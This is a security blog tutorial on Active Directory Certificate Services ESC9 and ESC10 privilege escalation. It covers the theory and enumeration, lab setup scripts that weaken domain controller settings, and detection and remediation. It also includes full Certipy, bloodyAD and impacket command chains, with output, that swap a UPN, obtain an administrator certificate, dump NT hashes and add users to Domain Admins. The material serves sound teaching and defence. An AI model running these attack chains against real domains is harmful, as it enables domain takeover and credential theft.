Post

ADCS Abuse — ESC9 & ESC10 in Detail

A deep-dive into Active Directory Certificate Services ESC9 and ESC10 privilege escalation techniques — theory, enumeration, exploitation, detection, and remediation.

ADCS Abuse — ESC9 & ESC10 in Detail

Introduction

In 2022 Microsoft released KB5014754 to address certificate-based authentication security. This patch introduced a new certificate extension called szOID_NTDS_CA_SECURITY_EXT (OID 1.3.6.1.4.1.311.25.2) that embeds the requesting user’s SID directly into the issued certificate. The goal was to enable strong certificate-to-account mapping and prevent attackers from abusing weak mapping (UPN-based) to impersonate other users.

However, two new escalation paths emerged because of misconfigurations and backward-compatibility settings around this patch:

TechniqueCore Issue
ESC9Template flag CT_FLAG_NO_SECURITY_EXTENSION prevents the SID from being embedded in the certificate
ESC10Registry settings on the DC disable or weaken strong certificate mapping enforcement

Both techniques allow an attacker with GenericWrite over another account to escalate to Domain Admin by manipulating UPN values and requesting certificates that map to a privileged account.

This post assumes basic familiarity with ADCS concepts (CAs, templates, EKUs). If you are new to ADCS abuse, read the SpecterOps Certified Pre-Owned whitepaper first.


Background — Certificate Mapping

When a user authenticates with a certificate (Kerberos PKINIT or Schannel), the Domain Controller must map the certificate to an AD account. There are two mapping methods:

Weak Mapping (Legacy)

The DC reads the UPN (User Principal Name) from the certificate’s Subject Alternative Name (SAN) and finds the AD account with a matching userPrincipalName.

1
2
3
4
5
6
7
8
Certificate SAN: UPN = administrator@corp.local
                         │
                         ▼
               DC searches AD for:
        userPrincipalName = administrator@corp.local
                         │
                         ▼
              Maps to: Administrator account

Problem: If an attacker can control the UPN inside a certificate, they can impersonate anyone.

Strong Mapping (Post-Patch)

The DC reads the SID from the szOID_NTDS_CA_SECURITY_EXT extension (OID 1.3.6.1.4.1.311.25.2) embedded in the certificate and matches it against the account’s objectSid.

1
2
3
4
5
6
7
8
Certificate Extension: SID = S-1-5-21-...-1234
                                │
                                ▼
                  DC searches AD for:
             objectSid = S-1-5-21-...-1234
                                │
                                ▼
                   Maps to: Exact account

Secure: The SID is set by the CA at issuance time based on the authenticated requester. Even if the UPN is manipulated, the SID won’t match.


Key Registry Values

Two registry values on the Domain Controller control which mapping method is used:

StrongCertificateBindingEnforcement

1
2
3
Path:  HKLM\SYSTEM\CurrentControlSet\Services\Kdc
Value: StrongCertificateBindingEnforcement
Type:  REG_DWORD
ValueBehavior
0No strong mapping enforcement. DC does NOT check the SID extension at all. Falls back to weak (UPN) mapping. Dangerous.
1Compatibility mode (default after patch). If the cert HAS the SID extension → strong mapping. If the cert does NOT have it → falls back to weak mapping (logs a warning).
2Full enforcement. Only strong mapping. Certificates without the SID extension are rejected. Secure.

CertificateMappingMethods

1
2
3
Path:  HKLM\SYSTEM\CurrentControlSet\Services\Schannel
Value: CertificateMappingMethods
Type:  REG_DWORD

This controls Schannel (TLS/LDAPS) certificate mapping. It is a bitmask:

BitValueMapping Method
0x11Subject/Issuer mapping
0x22Issuer mapping
0x44UPN mapping (SAN UPN → AD UPN)
0x88S4U2Self Kerberos mapping
0x1016S4U2Self explicit certificate mapping

The default value is 0x18 (24) = S4U2Self methods only (secure).

If the value contains 0x4 (UPN bit), Schannel will perform weak UPN-based mapping.

You can check both values remotely with reg query or LDAP if you have sufficient access.


CT_FLAG_NO_SECURITY_EXTENSION

This is a flag in the msPKI-Enrollment-Flag attribute of a certificate template.

1
CT_FLAG_NO_SECURITY_EXTENSION = 0x00080000 (524288)

When this flag is set, the CA will NOT embed the szOID_NTDS_CA_SECURITY_EXT SID extension in issued certificates, even if the CA supports it.

This means certificates issued from this template will always fall back to weak mapping (when StrongCertificateBindingEnforcement is 0 or 1).

Check it with PowerShell:

1
2
3
4
5
6
7
# Query the enrollment flags of a template
Get-ADObject -Filter {objectClass -eq 'pKICertificateTemplate'} `
  -Properties Name, msPKI-Enrollment-Flag |
  Select-Object Name, @{
    N='NoSecurityExtension';
    E={($_.{msPKI-Enrollment-Flag} -band 0x80000) -ne 0}
  }

Or via LDAP:

1
2
3
4
5
6
7
8
9
10
11
# Check specific template
$template = Get-ADObject -Filter {
  objectClass -eq 'pKICertificateTemplate' -and Name -eq 'VulnerableTemplate'
} -Properties msPKI-Enrollment-Flag

$flag = $template.'msPKI-Enrollment-Flag'
if ($flag -band 0x80000) {
    Write-Host "[!] CT_FLAG_NO_SECURITY_EXTENSION is SET — Vulnerable to ESC9" -ForegroundColor Red
} else {
    Write-Host "[+] Flag not set — Not vulnerable" -ForegroundColor Green
}

ESC9 — No Security Extension Abuse

Requirements

RequirementDetail
GenericWriteOver any AD user/computer account (to change their UPN)
StrongCertificateBindingEnforcementSet to 0 or 1 (NOT 2)
Template flagCT_FLAG_NO_SECURITY_EXTENSION (0x80000) is set in msPKI-Enrollment-Flag
Template EKUIncludes Client Authentication (1.3.6.1.5.5.7.3.2) or Smart Card Logon (1.3.6.1.4.1.311.20.2.2) or any purpose / no EKU
Enrollment rightsAttacker or a controlled account can enroll in the template

Attack Theory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
  Attacker (UserA)                    Domain Controller
  has GenericWrite                    StrongCertificateBindingEnforcement = 1
  over UserB                          
       │                                    
       │ Step 1: Change UserB's UPN         
       │         to "administrator@corp.local"
       │──────────────────────────────────►  AD updates UserB's UPN
       │                                    
       │ Step 2: Request certificate         
       │         as UserB using template     
       │         with NO_SECURITY_EXTENSION  
       │──────────────────────────────────►  CA issues cert:
       │                                      UPN = administrator@corp.local
       │                                      SID extension = NOT PRESENT
       │                                    
       │ Step 3: Change UserB's UPN back     
       │         to "userB@corp.local"       
       │──────────────────────────────────►  AD updates UserB's UPN
       │                                    
       │ Step 4: Authenticate with cert      
       │──────────────────────────────────►  DC checks cert:
       │                                      - No SID extension found
       │                                      - StrongBinding = 1 → fallback
       │                                      - Maps UPN "administrator@corp.local"
       │                                      - Returns Administrator's TGT
       │◄──────────────────────────────────  
       │  🎉 Authenticated as Administrator  

The key insight: Because CT_FLAG_NO_SECURITY_EXTENSION prevents the SID from being embedded, and StrongCertificateBindingEnforcement = 1 falls back to UPN mapping when no SID is present, the DC maps the certificate to whoever currently has that UPN — but we already changed it back so there is no conflict, and the cert permanently contains the admin’s UPN.

Exploitation with Certipy

Step 0 — Enumerate Vulnerable Templates

1
2
3
# Full ADCS enumeration
certipy find -u 'userA@corp.local' -p 'Password123' \
  -dc-ip 10.10.10.1 -vulnerable -stdout

Look for output like:

1
2
3
4
[!] Vulnerabilities
    ESC9                    : 'CORP\\Domain Users' can enroll, enrollee supplies subject,
                              and target has CT_FLAG_NO_SECURITY_EXTENSION set.
                              StrongCertificateBindingEnforcement: 1

You can also manually query the template:

1
2
3
# Check enrollment flags with certipy
certipy find -u 'userA@corp.local' -p 'Password123' \
  -dc-ip 10.10.10.1 -stdout | grep -A 20 "VulnTemplate"

Step 1 — Change the Target’s UPN

1
2
3
4
5
6
7
# Change UserB's UPN to the target (Administrator)
certipy account update \
  -u 'userA@corp.local' \
  -p 'Password123' \
  -user 'userB' \
  -upn 'administrator@corp.local' \
  -dc-ip 10.10.10.1
1
2
3
[*] Updating user 'userB':
    userPrincipalName                   : administrator@corp.local
[*] Successfully updated 'userB'

If the Administrator’s UPN already exists as administrator@corp.local, you may need to temporarily clear the admin’s UPN first, or use administrator without the domain suffix (it depends on the environment).

You can also do this with PowerShell:

1
2
3
4
5
6
# Requires GenericWrite over userB
Set-ADUser -Identity "userB" -UserPrincipalName "administrator@corp.local"

# Verify
Get-ADUser -Identity "userB" -Properties userPrincipalName |
  Select-Object SamAccountName, UserPrincipalName

Or with bloodyAD:

1
2
bloodyAD -d corp.local -u userA -p 'Password123' --host 10.10.10.1 \
  set object userB userPrincipalName -v 'administrator@corp.local'

Step 2 — Request the Certificate

1
2
3
4
5
6
7
# Request cert as userB using the vulnerable template
certipy req \
  -u 'userB@corp.local' \
  -p 'UserBPassword' \
  -ca 'corp-DC01-CA' \
  -template 'VulnTemplate' \
  -dc-ip 10.10.10.1
1
2
3
4
5
6
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 42
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

Notice: Certificate has no object SID — this confirms CT_FLAG_NO_SECURITY_EXTENSION is working as expected. No SID is embedded.

Step 3 — Restore the Original UPN

1
2
3
4
5
6
7
# Change UserB's UPN back to avoid detection and login issues
certipy account update \
  -u 'userA@corp.local' \
  -p 'Password123' \
  -user 'userB' \
  -upn 'userB@corp.local' \
  -dc-ip 10.10.10.1
1
2
3
[*] Updating user 'userB':
    userPrincipalName                   : userB@corp.local
[*] Successfully updated 'userB'

Step 4 — Authenticate as Administrator

1
2
3
4
5
# Authenticate using the certificate via Kerberos PKINIT
certipy auth \
  -pfx 'administrator.pfx' \
  -domain 'corp.local' \
  -dc-ip 10.10.10.1
1
2
3
4
5
6
7
[*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@corp.local':
    aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe

You now have the Administrator’s NT hash — use it for pass-the-hash, DCSync, or whatever your objective is.

1
2
3
# DCSync with the hash
impacket-secretsdump 'corp.local/administrator@10.10.10.1' \
  -hashes 'aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe'

ESC10 — Weak Certificate Mapping Abuse

ESC10 has two cases depending on which registry value is misconfigured.

Case 1 — StrongCertificateBindingEnforcement = 0

Requirements

RequirementDetail
GenericWriteOver any AD account
StrongCertificateBindingEnforcementSet to 0
Any templateThat allows client authentication and enrollment (no special flags needed)

Why It Works

When StrongCertificateBindingEnforcement = 0, the DC completely ignores the SID extension even if it is present. All certificate mapping falls back to weak UPN-based mapping.

This means any client authentication template can be abused — the CT_FLAG_NO_SECURITY_EXTENSION flag is irrelevant here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
                Certificate contains:
                ┌─────────────────────────────────┐
                │ UPN: administrator@corp.local   │
                │ SID: S-1-5-21-...-1234 (UserB)  │ ← IGNORED by DC
                └─────────────────────────────────┘
                                │
                                ▼
                DC (StrongCertificateBindingEnforcement = 0):
                  "I don't check SID extensions."
                  "UPN = administrator@corp.local"
                  "→ Map to Administrator"
                                │
                                ▼
                        ✅ Authentication succeeds
                           as Administrator

Exploitation with Certipy

1
2
3
4
5
6
7
# Step 1: Change target's UPN
certipy account update \
  -u 'userA@corp.local' \
  -p 'Password123' \
  -user 'userB' \
  -upn 'administrator@corp.local' \
  -dc-ip 10.10.10.1
1
2
3
4
5
6
7
# Step 2: Request cert using ANY client auth template (e.g., default "User" template)
certipy req \
  -u 'userB@corp.local' \
  -p 'UserBPassword' \
  -ca 'corp-DC01-CA' \
  -template 'User' \
  -dc-ip 10.10.10.1
1
2
3
4
5
6
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 43
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-...-1234'
[*] Saved certificate and private key to 'administrator.pfx'

Notice the certificate does contain UserB’s SID — but the DC won’t check it because StrongCertificateBindingEnforcement = 0.

1
2
3
4
5
6
7
# Step 3: Restore UPN
certipy account update \
  -u 'userA@corp.local' \
  -p 'Password123' \
  -user 'userB' \
  -upn 'userB@corp.local' \
  -dc-ip 10.10.10.1
1
2
3
4
5
# Step 4: Authenticate via PKINIT
certipy auth \
  -pfx 'administrator.pfx' \
  -domain 'corp.local' \
  -dc-ip 10.10.10.1
1
2
3
4
5
6
[*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Got hash for 'administrator@corp.local':
    aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe

Case 2 — CertificateMappingMethods Contains UPN (0x4)

Requirements

RequirementDetail
GenericWriteOver any AD account
CertificateMappingMethodsContains 0x4 (UPN bit) on the DC
Any templateThat allows client authentication and enrollment
AuthenticationVia Schannel (LDAPS/TLS), NOT Kerberos PKINIT

Why It Works

CertificateMappingMethods controls Schannel (not Kerberos). When the UPN bit (0x4) is set, Schannel maps certificates to accounts based on the UPN in the SAN — identical to the old weak mapping.

The StrongCertificateBindingEnforcement value does not apply to Schannel — it only governs Kerberos PKINIT. So even if StrongCertificateBindingEnforcement = 2, if Schannel allows UPN mapping, ESC10 Case 2 still works.

1
2
3
4
5
6
7
8
9
10
11
  Attacker                         DC (Schannel / LDAPS)
     │                             CertificateMappingMethods = 0x1C (includes 0x4)
     │                                    
     │  TLS ClientCertificate             
     │  UPN: administrator@corp.local     
     │──────────────────────────────────►  Schannel checks 0x4 bit:
     │                                      "UPN mapping enabled"
     │                                      Maps UPN → Administrator
     │◄──────────────────────────────────  
     │  Authenticated via LDAPS            
     │  as Administrator                   

Checking the Registry Value

1
2
3
# On the Domain Controller
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Schannel" `
  /v CertificateMappingMethods
1
    CertificateMappingMethods    REG_DWORD    0x1f

Check if bit 0x4 is set:

1
2
3
4
5
6
$val = 0x1f  # Example value from registry
if ($val -band 0x4) {
    Write-Host "[!] UPN mapping bit (0x4) is SET — Vulnerable to ESC10 Case 2" -ForegroundColor Red
} else {
    Write-Host "[+] UPN mapping bit NOT set — Safe" -ForegroundColor Green
}

Remotely via crackmapexec or impacket-reg:

1
2
3
4
# Read remote registry
impacket-reg 'corp.local/userA:Password123@10.10.10.1' query \
  -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\Schannel' \
  -v 'CertificateMappingMethods'

Exploitation with Certipy

1
2
3
4
5
6
7
# Step 1: Change target's UPN
certipy account update \
  -u 'userA@corp.local' \
  -p 'Password123' \
  -user 'userB' \
  -upn 'administrator@corp.local' \
  -dc-ip 10.10.10.1
1
2
3
4
5
6
7
# Step 2: Request certificate
certipy req \
  -u 'userB@corp.local' \
  -p 'UserBPassword' \
  -ca 'corp-DC01-CA' \
  -template 'User' \
  -dc-ip 10.10.10.1
1
2
3
4
5
6
7
# Step 3: Restore UPN
certipy account update \
  -u 'userA@corp.local' \
  -p 'Password123' \
  -user 'userB' \
  -upn 'userB@corp.local' \
  -dc-ip 10.10.10.1
1
2
3
4
5
6
# Step 4: Authenticate via SCHANNEL (not PKINIT)
# Use -ldap-shell to get an LDAP shell as Administrator via Schannel
certipy auth \
  -pfx 'administrator.pfx' \
  -dc-ip 10.10.10.1 \
  -ldap-shell
1
2
3
4
5
[*] Connecting to 'ldaps://10.10.10.1:636'
[*] Authenticated to 'ldaps://10.10.10.1:636' as: u:CORP\Administrator
Type help for list of commands

#

Inside the LDAP shell you can grant yourself DCSync rights:

1
2
3
4
5
6
7
# add_user_to_group userA "Domain Admins"
Adding user 'userA' to group 'Domain Admins'
Successfully added

# set_rbcd userB DC01$
Setting RBCD on DC01$ to userB
Successfully set

Or use PassTheCert directly to authenticate via Schannel and modify AD objects:

1
2
3
4
5
6
7
# Using passthecert.py
python3 passthecert.py \
  -action ldap-shell \
  -crt administrator.crt \
  -key administrator.key \
  -domain corp.local \
  -dc-ip 10.10.10.1

ESC9 vs ESC10 — Comparison

AspectESC9ESC10 Case 1ESC10 Case 2
Registry abusedStrongCertificateBindingEnforcement = 0 or 1StrongCertificateBindingEnforcement = 0CertificateMappingMethods includes 0x4
Template requirementCT_FLAG_NO_SECURITY_EXTENSION must be setAny client auth templateAny client auth template
SID in certNot present (flag prevents it)Present but ignoredMay be present (irrelevant for Schannel)
Auth protocolKerberos PKINITKerberos PKINITSchannel (LDAPS/TLS)
PrerequisiteGenericWrite over another accountGenericWrite over another accountGenericWrite over another account

Full Enumeration Checklist

Using Certipy

1
2
3
4
5
6
7
# One-command enumeration — finds ESC1 through ESC10+
certipy find \
  -u 'userA@corp.local' \
  -p 'Password123' \
  -dc-ip 10.10.10.1 \
  -vulnerable \
  -stdout

Using PowerShell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 1. Find templates with CT_FLAG_NO_SECURITY_EXTENSION
Write-Host "`n[*] Checking for CT_FLAG_NO_SECURITY_EXTENSION..." -ForegroundColor Cyan
$templates = Get-ADObject -SearchBase (
    "CN=Certificate Templates,CN=Public Key Services,CN=Services," +
    (Get-ADRootDSE).configurationNamingContext
) -Filter {objectClass -eq 'pKICertificateTemplate'} `
  -Properties Name, msPKI-Enrollment-Flag, msPKI-Certificate-Name-Flag, `
              pKIExtendedKeyUsage, msPKI-RA-Signature

foreach ($t in $templates) {
    $enrollFlag = $t.'msPKI-Enrollment-Flag'
    if ($enrollFlag -band 0x80000) {
        Write-Host "  [!] VULNERABLE: $($t.Name) — CT_FLAG_NO_SECURITY_EXTENSION is SET" `
          -ForegroundColor Red

        # Check if it also has Client Auth EKU
        $eku = $t.pKIExtendedKeyUsage
        $clientAuth = '1.3.6.1.5.5.7.3.2'
        $smartCard  = '1.3.6.1.4.1.311.20.2.2'
        $anyPurpose = '2.5.29.37.0'

        if ($null -eq $eku -or $eku -contains $clientAuth -or
            $eku -contains $smartCard -or $eku -contains $anyPurpose) {
            Write-Host "    → Has Client Authentication EKU — exploitable!" `
              -ForegroundColor Yellow
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 2. Check StrongCertificateBindingEnforcement on DCs
Write-Host "`n[*] Checking StrongCertificateBindingEnforcement on DCs..." -ForegroundColor Cyan
$DCs = Get-ADDomainController -Filter *
foreach ($dc in $DCs) {
    $val = Invoke-Command -ComputerName $dc.HostName -ScriptBlock {
        (Get-ItemProperty -Path `
          'HKLM:\SYSTEM\CurrentControlSet\Services\Kdc' `
          -Name 'StrongCertificateBindingEnforcement' `
          -ErrorAction SilentlyContinue
        ).StrongCertificateBindingEnforcement
    } -ErrorAction SilentlyContinue

    if ($null -eq $val) {
        Write-Host "  [!] $($dc.HostName): Value NOT SET (defaults to 1 — ESC9 possible)" `
          -ForegroundColor Yellow
    } elseif ($val -eq 0) {
        Write-Host "  [!] $($dc.HostName): Value = 0 — VULNERABLE to ESC10 Case 1 & ESC9" `
          -ForegroundColor Red
    } elseif ($val -eq 1) {
        Write-Host "  [~] $($dc.HostName): Value = 1 — ESC9 possible if template flag set" `
          -ForegroundColor Yellow
    } else {
        Write-Host "  [+] $($dc.HostName): Value = $val — Enforced (safe)" `
          -ForegroundColor Green
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 3. Check CertificateMappingMethods on DCs
Write-Host "`n[*] Checking CertificateMappingMethods on DCs..." -ForegroundColor Cyan
foreach ($dc in $DCs) {
    $val = Invoke-Command -ComputerName $dc.HostName -ScriptBlock {
        (Get-ItemProperty -Path `
          'HKLM:\SYSTEM\CurrentControlSet\Services\Schannel' `
          -Name 'CertificateMappingMethods' `
          -ErrorAction SilentlyContinue
        ).CertificateMappingMethods
    } -ErrorAction SilentlyContinue

    if ($null -eq $val) {
        Write-Host "  [+] $($dc.HostName): Value NOT SET (defaults to 0x18 — safe)" `
          -ForegroundColor Green
    } elseif ($val -band 0x4) {
        Write-Host "  [!] $($dc.HostName): Value = 0x$($val.ToString('X')) — UPN bit SET — VULNERABLE to ESC10 Case 2" `
          -ForegroundColor Red
    } else {
        Write-Host "  [+] $($dc.HostName): Value = 0x$($val.ToString('X')) — UPN bit NOT set (safe)" `
          -ForegroundColor Green
    }
}
1
2
3
4
5
6
7
# 4. Find users you have GenericWrite over (using PowerView)
# Import PowerView first: . .\PowerView.ps1
Find-InterestingDomainAcl -ResolveGUIDs |
  Where-Object {
    $_.IdentityReferenceName -eq 'userA' -and
    ($_.ActiveDirectoryRights -match 'GenericWrite|WriteProperty|WriteDacl')
  } | Select-Object ObjectDN, ActiveDirectoryRights

Using ldapsearch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Find templates with CT_FLAG_NO_SECURITY_EXTENSION
ldapsearch -x -H ldap://10.10.10.1 \
  -D "userA@corp.local" -w "Password123" \
  -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
  "(objectClass=pKICertificateTemplate)" \
  cn msPKI-Enrollment-Flag pKIExtendedKeyUsage 2>/dev/null |
  grep -E "(cn:|msPKI-Enrollment-Flag:)" |
  while IFS= read -r line; do
    if echo "$line" | grep -q "cn:"; then
      template=$(echo "$line" | awk '{print $2}')
    fi
    if echo "$line" | grep -q "msPKI-Enrollment-Flag:"; then
      flag=$(echo "$line" | awk '{print $2}')
      if (( flag & 0x80000 )); then
        echo "[!] $template — CT_FLAG_NO_SECURITY_EXTENSION is SET (flag=$flag)"
      fi
    fi
  done

Lab Setup (For Practice)

If you want to reproduce ESC9/ESC10 in a lab, here’s how to create the vulnerable conditions:

Create a Vulnerable Template (ESC9)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# On the CA server — duplicate the "User" template and modify it
# Open certsrv.msc → Certificate Templates → Manage → Duplicate "User"

# Or via PowerShell / ADSI:
$configNC = (Get-ADRootDSE).configurationNamingContext
$templateDN = "CN=ESC9-Vuln,CN=Certificate Templates,CN=Public Key Services,CN=Services,$configNC"

# After creating the template, set the NO_SECURITY_EXTENSION flag
$template = Get-ADObject $templateDN -Properties msPKI-Enrollment-Flag
$currentFlag = $template.'msPKI-Enrollment-Flag'
$newFlag = $currentFlag -bor 0x80000  # Add CT_FLAG_NO_SECURITY_EXTENSION

Set-ADObject $templateDN -Replace @{
    'msPKI-Enrollment-Flag' = $newFlag
}

Write-Host "msPKI-Enrollment-Flag set to: $newFlag (includes 0x80000)"

Set StrongCertificateBindingEnforcement = 0 (ESC10 Case 1)

1
2
3
4
5
6
7
8
# On the Domain Controller (DO THIS IN A LAB ONLY)
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\Kdc' `
  -Name 'StrongCertificateBindingEnforcement' -Value 0 -Type DWord

# Restart the KDC service for the change to take effect
Restart-Service -Name 'Kdc' -Force

Write-Host "[!] StrongCertificateBindingEnforcement set to 0 — VULNERABLE"

Set CertificateMappingMethods to Include UPN (ESC10 Case 2)

1
2
3
4
5
# On the Domain Controller (DO THIS IN A LAB ONLY)
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\Schannel' `
  -Name 'CertificateMappingMethods' -Value 0x1C -Type DWord  # 0x1C includes 0x4

Write-Host "[!] CertificateMappingMethods set to 0x1C — UPN mapping enabled — VULNERABLE"

Grant GenericWrite for Testing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Grant userA GenericWrite over userB
$userA = Get-ADUser "userA"
$userB = Get-ADUser "userB"

$acl = Get-Acl "AD:\$($userB.DistinguishedName)"
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $userA.SID,
    [System.DirectoryServices.ActiveDirectoryRights]::GenericWrite,
    [System.Security.AccessControl.AccessControlType]::Allow
)
$acl.AddAccessRule($ace)
Set-Acl "AD:\$($userB.DistinguishedName)" $acl

Write-Host "[*] GenericWrite granted to userA over userB"

Detection

Event Logs to Monitor

Event ID 39 (KDC Warning — Weak Mapping)

When StrongCertificateBindingEnforcement = 1 and a certificate without the SID extension is used, the KDC logs Event ID 39:

1
2
3
4
5
6
7
8
9
10
Log:     System
Source:  Kdc
Event:   39
Message: The Key Distribution Center (KDC) encountered a user certificate that
         was valid but could not be mapped to a user in a secure way (such as via
         explicit mapping, key trust mapping, or a SID).
         The certificate also predated the user it mapped to, so it was rejected.
         
         Subject: administrator@corp.local
         Certificate SID: <not present>
1
2
3
4
5
6
# Query for Event ID 39
Get-WinEvent -FilterHashtable @{
    LogName   = 'System'
    Id        = 39
    StartTime = (Get-Date).AddDays(-7)
} | Format-List TimeCreated, Message

Event ID 4768 (Kerberos TGT Request with Certificate)

1
2
3
4
5
6
7
8
# Kerberos TGT requests with certificate auth
Get-WinEvent -FilterHashtable @{
    LogName   = 'Security'
    Id        = 4768
    StartTime = (Get-Date).AddDays(-7)
} | Where-Object {
    $_.Message -match 'Certificate'
} | Format-List TimeCreated, Message

Event ID 4738 (User Account Changed — UPN Modification)

1
2
3
4
5
6
7
8
# Detect UPN changes — critical indicator of ESC9/ESC10
Get-WinEvent -FilterHashtable @{
    LogName   = 'Security'
    Id        = 4738
    StartTime = (Get-Date).AddDays(-7)
} | Where-Object {
    $_.Message -match 'User Principal Name'
} | Format-List TimeCreated, Message

Sigma Rule

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
title: Potential ESC9/ESC10 - UPN Changed Before Certificate Request
id: 8a7c5e3b-2f1d-4e6a-9c8b-1d3e5f7a9b2c
status: experimental
description: Detects a user's UPN being changed, which may indicate ESC9/ESC10 ADCS abuse
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4738
    keywords:
        Message|contains: 'User Principal Name'
    filter:
        SubjectUserName|endswith: '$'  # Exclude machine accounts
    condition: selection and keywords and not filter
falsepositives:
    - Legitimate UPN changes by administrators
    - User migrations
level: high
tags:
    - attack.privilege_escalation
    - attack.t1649

Remediation

Fix ESC9

Option A — Remove the flag from vulnerable templates:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$configNC = (Get-ADRootDSE).configurationNamingContext
$templates = Get-ADObject -SearchBase `
  "CN=Certificate Templates,CN=Public Key Services,CN=Services,$configNC" `
  -Filter {objectClass -eq 'pKICertificateTemplate'} `
  -Properties Name, msPKI-Enrollment-Flag

foreach ($t in $templates) {
    $flag = $t.'msPKI-Enrollment-Flag'
    if ($flag -band 0x80000) {
        $newFlag = $flag -band (-bnot 0x80000)  # Remove the bit
        Set-ADObject $t.DistinguishedName -Replace @{
            'msPKI-Enrollment-Flag' = $newFlag
        }
        Write-Host "[FIXED] $($t.Name): Removed CT_FLAG_NO_SECURITY_EXTENSION" `
          -ForegroundColor Green
        Write-Host "        Old flag: $flag → New flag: $newFlag"
    }
}

Option B — Set StrongCertificateBindingEnforcement = 2 (recommended):

1
2
3
4
5
6
7
# On ALL Domain Controllers
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\Kdc' `
  -Name 'StrongCertificateBindingEnforcement' -Value 2 -Type DWord

Restart-Service -Name 'Kdc' -Force

Write-Host "[FIXED] StrongCertificateBindingEnforcement set to 2 — Full enforcement"

Warning: Setting this to 2 may break certificate authentication for certificates issued before the May 2022 patch that don’t contain the SID extension. Test in a staging environment first.

Fix ESC10 Case 1

1
2
3
4
5
# Set StrongCertificateBindingEnforcement to at least 1, ideally 2
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\Kdc' `
  -Name 'StrongCertificateBindingEnforcement' -Value 2 -Type DWord

Restart-Service -Name 'Kdc' -Force

Fix ESC10 Case 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Remove the UPN bit (0x4) from CertificateMappingMethods
$current = (Get-ItemProperty -Path `
  'HKLM:\SYSTEM\CurrentControlSet\Services\Schannel' `
  -Name 'CertificateMappingMethods' -ErrorAction SilentlyContinue
).CertificateMappingMethods

if ($null -ne $current -and ($current -band 0x4)) {
    $new = $current -band (-bnot 0x4)  # Remove bit 0x4
    Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\Schannel' `
      -Name 'CertificateMappingMethods' -Value $new -Type DWord
    Write-Host "[FIXED] CertificateMappingMethods: 0x$($current.ToString('X')) → 0x$($new.ToString('X'))" `
      -ForegroundColor Green
} else {
    Write-Host "[OK] UPN bit not set or value not configured (safe)" -ForegroundColor Green
}

General Hardening

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Audit GenericWrite / WriteDACL permissions across all users
# Remove unnecessary write permissions

# Review all certificate template enrollment ACLs
$configNC = (Get-ADRootDSE).configurationNamingContext
Get-ADObject -SearchBase `
  "CN=Certificate Templates,CN=Public Key Services,CN=Services,$configNC" `
  -Filter {objectClass -eq 'pKICertificateTemplate'} -Properties Name |
  ForEach-Object {
    Write-Host "`n=== $($_.Name) ===" -ForegroundColor Cyan
    (Get-Acl "AD:\$($_.DistinguishedName)").Access |
      Where-Object {
        $_.ActiveDirectoryRights -match 'Enroll' -and
        $_.IdentityReference -notmatch 'Enterprise Admins|Domain Admins|SYSTEM'
      } |
      Select-Object IdentityReference, ActiveDirectoryRights
  }

Summary

 ESC9ESC10 Case 1ESC10 Case 2
Root causeTemplate blocks SID extensionDC ignores SID extensionSchannel uses UPN mapping
RegistryStrongBinding = 0 or 1StrongBinding = 0CertMapping has 0x4
TemplateMust have NO_SECURITY_EXTAny client authAny client auth
Auth methodKerberos PKINITKerberos PKINITSchannel (LDAPS)
FixRemove flag + set StrongBinding=2Set StrongBinding ≥ 1Remove 0x4 from CertMapping

Both ESC9 and ESC10 require GenericWrite over another account. Audit and minimize write permissions across your domain to eliminate the prerequisite entirely.

References

This post is licensed under CC BY 4.0 by the author.